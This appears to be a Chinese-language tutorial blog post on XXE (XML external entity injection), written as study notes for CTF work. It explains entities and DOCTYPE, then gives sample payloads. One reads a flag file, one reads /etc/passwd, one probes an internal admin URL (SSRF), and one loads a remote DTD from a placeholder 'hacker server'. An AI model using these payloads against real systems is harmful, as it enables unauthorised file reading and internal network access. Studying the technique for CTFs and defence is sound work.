当前位置: 首页 > news >正文

XXE 目录

一些文章

XML注入+Xpath注入

https://xz.aliyun.com/news/6483?time__1311=YqIxgQG%3DDtD%3D0%3DD%2FD0ex2l89mhlCoTaF4D&u_atoken=92d9c56d3ac8825b21d7821c6c3a221e&u_asig=ac11000117416937856888629e0044

原理

XXE:外部实体注入

本质上是XML被滥用,XML是一种结构化数据的格式,用标签定义数据含义(现在被JSON取代) 

内部实体和外部实体

  • 内部实体:自己定义的固定值
  • 外部实体:从外部动态加载内容,比如说访问一个网站获得信息呀,访问自己系统文件获得信息呀

XML就像菜谱一样:

当XML解析器解析内部实体的时候,已经定义好了,直接引用过来 

<!ENTITY 蔬菜 "胡萝卜">  
<食谱>今天用&蔬菜;做汤</食谱>  <!-- 输出:胡萝卜汤 -->

当解析外部实体的时候,需要动态加载一遍 

<!ENTITY 神秘酱料 SYSTEM "http://黑店/不明酱料.txt">  
<食谱>加入&神秘酱料;</食谱>

什么是<!DOCTYPE

<!DOCTYPE定义了XML的“说明书”,定义了它的结构和规则,如果这个说明书引用了外部指南(比如说详情给请见xxxx),就会导致XXE

四大核心作用

1.定义文档结构

<!ELEMENT 订单 (收件人, 商品+)>  <!-- 订单必须包含1个收件人,1个或多个商品 -->
<!ELEMENT 收件人 (#PCDATA)>     <!-- 收件人节点内只能是文本 -->

2.声明实体,也就是声明内部实体和外部实体

<!ENTITY 客服电话 "400-123-4567">  <!-- 内部实体 -->
<!ENTITY 黑料 SYSTEM "file:///etc/passwd">  <!-- 外部实体(危险!) -->

3.引入外部DTD文件 

<!DOCTYPE 订单 SYSTEM "http://api.com/order.dtd">  

4.规范解析器行为:告诉解析器处理文档的规则

  • 是否验证标签结构?

  • 是否解析外部实体?

制作payload

1.XML 文档必须有且仅有一个根元素(整个文档起始和核心元素,所有其他元素都必须要嵌套在它内部),它是所有其他元素的父节点。在 <!DOCTYPE 中定义

也就是说要把恶意实体放进<root></root>标签中

2.外部实体声明语法:

<!ENTITY 实体名称 SYSTEM "外部资源的 URI">

实体名称:在 XML 文档中可以通过 &实体名称; 来引用该实体 

SYSTEM:关键字,用于指定这是一个外部系统实体,指定实体的外部资源位置

payload:

[GHCTF 2025](>﹏<)-CSDN博客

<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///flag">
]>
<root>
  <name>&xxe;</name>
</root>

 XXE的使用方法

1.读取本地文件:

<?xml version="1.0"?>
<!DOCTYPE 攻击 [
  <!ENTITY 偷窥 SYSTEM "file:///etc/passwd">  <!-- 读取Linux密码文件 -->
]>
<订单>&偷窥;</订单>

2.SSRF

<!DOCTYPE 攻击 [
  <!ENTITY 内网探测 SYSTEM "http://192.168.1.1/admin">  <!-- 访问内网管理后台 -->
]>
<订单>&内网探测;</订单>

 3.RCE

<!DOCTYPE 攻击 [
  <!ENTITY % 恶意指令 SYSTEM "http://黑客服务器/boom.dtd">
  %恶意指令;  <!-- 加载远程DTD,执行危险操作 -->
]>

外部实体也就是自定义XML实体

相关文章:

  • 从零开发Chrome广告拦截插件:开发、打包到发布全攻略
  • 企业网设计
  • 【数据库】10分钟学会MySQL的增删改查:数据库、表、表记录操作指南
  • 数字电路逻辑代数 | 运算 / 定律 / 公式 / 规则 / 例解
  • MySQL创建数据库和表,插入四大名著中的人物
  • Node.js中HTTPS模块应用详解
  • 虚拟电商-数据库分库分表
  • PROC程序报无效的字符串或缓冲区长度问题
  • Java HashMap 底层原理
  • 【YOLO】AutoDL 训练模型
  • Python+DeepSeek:开启AI编程新次元——从自动化到智能创造的实战指南
  • Java三种注释方式
  • 【漫话机器学习系列】132.概率质量函数(Probability Mass Function, PMF)
  • 体验开源openeuler openharmony stratovirt模拟器
  • Linux内核实时机制18 - RT调度器1 - 数据结构
  • hive开窗函数
  • JavaScript性能优化实战
  • 第四十五篇-Tesla P40关闭GPU的ECC释放部分显存
  • 刷leetcode hot100--动态规划3.11
  • 指针的比较
  • 青岛双星名人集团管理权之争:公司迁址,管理层更迭
  • 罗氏制药全新生物制药生产基地投资项目在沪启动:预计投资20.4亿元,2031年投产
  • 外交部介绍中国赞比亚共同举办人工智能能力建设主题活动情况
  • 吴清:推动公募基金高质量发展的行动方案今天将会发布
  • 大规模空袭也门一日后,以军又对也门萨那机场发出撤离警告
  • 特朗普宣布对进口电影征收100%关税